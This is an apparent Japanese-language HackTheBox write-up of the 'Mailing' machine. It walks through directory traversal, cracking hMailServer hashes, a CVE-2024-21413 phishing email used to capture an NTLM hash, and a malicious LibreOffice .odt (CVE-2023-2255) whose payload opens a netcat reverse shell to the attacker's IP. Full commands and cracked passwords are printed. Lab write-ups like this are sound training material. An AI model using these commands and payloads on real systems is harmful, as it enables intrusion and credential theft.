
HackTheBoxのマシンに取り組んできたなら、Mailingは本当に何かを教えてくれるボックスのひとつです。難易度はEasyで、Windows上で動作し、ディレクトリトラバーサル、認証情報漏洩、CVE-2024-21413、そしてLibreOfficeのマクロエクスプロイトという、いくつかの実世界の脆弱性を連鎖させます。ステップバイステップで見ていきましょう。
作成者: Mursalin
HackTheBoxのマシンに取り組んできたなら、Mailingは本当に何かを教えてくれるボックスの1つです。難易度はEasy、Windows上で動作し、ディレクトリトラバーサル、認証情報の漏洩、CVE-2024-21413、LibreOfficeのマクロエクスプロイトという、いくつかの現実世界の脆弱性が連鎖しています。ステップバイステップで見ていきましょう。
いつものように、nmapスキャンから始めて、何があるかを確認します。
nmap -p- --min-rate 10000 10.10.11.14
nmap -p [ports] -sCV 10.10.11.14
結果はかなり多くの開いているポートを示しています。ハイライトは以下の通りです。
mailing.htb にリダイレクト)OSフィンガープリントはWindows 10またはServer 2019と一致し、IISのバージョンから少なくともIIS 10であることが確認できます。また、SMBメッセージ署名は有効ですが必須ではありません — 後で使えるように覚えておきます。
メールポートはいたるところにありますが、おそらく認証情報が必要になるでしょう。ポート80のWebサーバーが明らかな開始点です。
/etc/hosts に mailing.htb を追加した後、サイトはhMailServer上に構築されたメールホスティング会社のように見えます。表面には特に目立ったものはありません — アバウトセクション、3人の名前(Ruy Alonso、Maya Bendito、Gregory Smith)を持つチームセクション、そして「Download Instructions」ボタンがあります。
ダウンロードボタンは次の場所を指しています:
http://mailing.htb/download.php?file=instructions.pdf
その file= パラメータはすぐに疑わしいです。テストしてみましょう。
サブドメインを確認するために ffuf を実行しました — 興味深いものは何も返ってきませんでした。次に feroxbuster でディレクトリブルートフォースを行いましたが、download.php 以外には何も見つかりませんでした。そのため、すべての注意をその1つのエンドポイントに集中させます。
file パラメータのパストラバーサルをテストします。
curl http://mailing.htb/download.php?file=../../windows/system32/drivers/etc/hosts
そして、それが動作します — Windowsのhostsファイルが返ってきます。アプリは単に、与えられたどんな値の前にベースパスを付加して file_get_contents() を呼び出しているだけです。サニタイズも制限もありません。直接読み取った download.php のソースコードがこれを確認しています。
$file_path = 'C:/wwwroot/instructions/' . $file;
if (file_exists($file_path)) {
echo file_get_contents($file_path);
}
これでWindowsマシン上で任意のファイル読み取りが可能になりました。これを利用しましょう。
hMailServer は設定を hMailServer.ini に保存します。調査の結果、ファイルは次の場所にあります。
C:\Program Files (x86)\hMailServer\Bin\hMailServer.ini
トラバーサル経由で読み取ります。
curl 'http://mailing.htb/download.php?file=../../Program+Files+(x86)/hMailServer/bin/hMailServer.ini'
出力には次の内容が含まれています。
[Security]
AdministratorPassword=841bb5acfa6779ae432fd7a4e6600ba7
[Database]
Password=0a9f8ad8bf896b501dde74f08efd7e4c
2つのMD5ハッシュです。CrackStation に入力します。
841bb5acfa6779ae432fd7a4e6600ba7 → homenetworkingadministratorこれでhMailServerの管理者パスワードが得られました。Windowsユーザーの administrator としてSMBに対して試すと失敗します — ローカルアカウントのパスワードではなく、メールサービスの管理者パスワードだからです。しかし、SMTPサービスへの認証には機能します。これこそが必要なものです。
次に、実際のユーザーとして足場を築く必要があります。サイトによると、使用されているメールクライアントはWindows Mailです(インストール手順PDFに基づく)。既知の脆弱性を確認する時です。
CVE-2024-21413 は、Microsoft Outlook と Windows Mail におけるリモートコード実行の脆弱性です。問題は、クライアントがメール本文内の file:// プロトコルURLをどのように処理するかにあります。通常、異なるプロトコルにはセキュリティ制限が設けられています。しかし、研究者はURLが !anything で終わる場合、それらの制限が静かに解除されることを発見しました。ユーザーがそのようなリンクを含むメールを開いたり、プレビューしたりすると、クライアントは自動的に攻撃者のSMBサーバーに対して認証を試み、NetNTLMv2ハッシュを渡します。
xaitax による優れたPoCがGitHubにあります。これをクローンして、以下のパラメータで実行します。
python CVE-2024-21413.py \
--server mailing.htb \
--port 587 \
--username [email protected] \
--password homenetworkingadministrator \
--sender [email protected] \
--recipient [email protected] \
--url "\\10.10.14.6\share\sploit" \
--subject "Check this out ASAP!"
メールは正常に送信されます。その間、攻撃マシンでResponderを実行して、受信する認証情報をキャッチします。
sudo /opt/Responder/Responder.py -I tun0
約1分後、Mayaのクライアントがメールを開き、Responderが彼女のNetNTLMv2ハッシュをキャプチャします。hashcatでクラックします。
hashcat -m 5600 maya_hash.txt /usr/share/wordlists/rockyou.txt
パスワードが解読されました:m4y4ngs4ri
Mayaの認証情報を使って、Evil-WinRMで接続します。
evil-winrm -i mailing.htb -u maya -p 'm4y4ngs4ri'
中に入れました。ユーザーフラグはMayaのデスクトップにあります。
次に、rootへの道を探す時です。システムを調べると、Important Documents という共有とLibreOfficeがインストールされていることがわかります。これはCVE-2023-2255への強力なヒントです。
CVE-2023-2255 は、バージョン7.4.7および7.5.3より前のLibreOfficeに影響を与えます。これは「フローティングフレーム」— .odt ドキュメント内のリンクされた外部ファイル — を悪用します。この脆弱性により、これらのフレームはユーザーに許可を求めずに読み込まれ、そのコンテンツはドキュメント読み込み時に実行されるマクロになる可能性があります。
elweth-sec によるPoCは、シェルコマンドを埋め込んだ悪意のある .odt を生成します。ドキュメント構造は、content.xml に <script> タグを埋め込み、LibreOfficeがファイルを開いた瞬間に発火します。
リバースシェルペイロードを生成します。
python /opt/CVE-2023-2255/CVE-2023-2255.py \
--cmd 'cmd.exe /c C:\ProgramData\nc64.exe -e cmd.exe 10.10.14.6 443' \
--output exploit.odt
次に、Mayaの認証情報を使って、.odt ファイルと nc64.exe の両方を Important Documents SMB共有にアップロードします。
smbclient '//10.10.11.14/important documents' --user maya --password m4y4ngs4ri
smb: \> put exploit.odt
smb: \> put nc64.exe
MayaのWinRMシェルから、nc64.exe を C:\ProgramData にコピーして、マクロがそれを見つけられるようにします。
copy "\Important Documents\nc64.exe" nc64.exe
1〜2分後、ボックス上の何か(おそらく自動スケジュールタスク)がドキュメントを開き、netcatリスナーでシェルをキャッチします。
rlwrap -cAr nc -lnvp 443
Listening on 0.0.0.0 443
Connection received on 10.10.11.14
Microsoft Windows [Version 10.0.19045.4355]
C:\Program Files\LibreOffice\program> whoami
mailing\localadmin
localadmin として実行されています — そしてrootフラグがデスクトップにあります。
このボックスは2024年5月15日、リリースからわずか11日後にパッチが適用されました。元の download.php は実際には file_get_contents() ではなくPHPの include() を使用していたからです。これにより、単純なファイル読み取りが完全なローカルファイルインクルージョンの脆弱性に変わり、読み取り可能なファイル内のPHPコードが実行されるようになりました。
想定外の経路は、hMailServerのSMTPログを汚染し(telnetで接続し、HELOコマンドにPHPを注入する)、そのログファイルをLFI経由でインクルードして defaultapppool としてコード実行を達成するというものでした。そこから、SeImpersonatePrivilege + GodPotato でSYSTEMになります。全く別のルートでrootに到達します。
Mailingの攻撃チェーンは次のようになります。
download.php のディレクトリトラバーサルを介したファイル読み取りhMailServer.ini からの認証情報漏洩 → MD5管理者ハッシュをクラックこのボックスは、実際のCVEを信じられる形で連鎖させる優れた仕事をしています。エクスプロイトの手順は過度に複雑ではありませんが、各段階で何をしているのかを理解している必要があります。OSCPの勉強をしているなら、間違いなく再訪する価値があります。
お読みいただきありがとうございます!Mediumで私をフォローして、さらに多くのHTBのライトアップやCTFコンテンツをご覧ください。
— Mursalin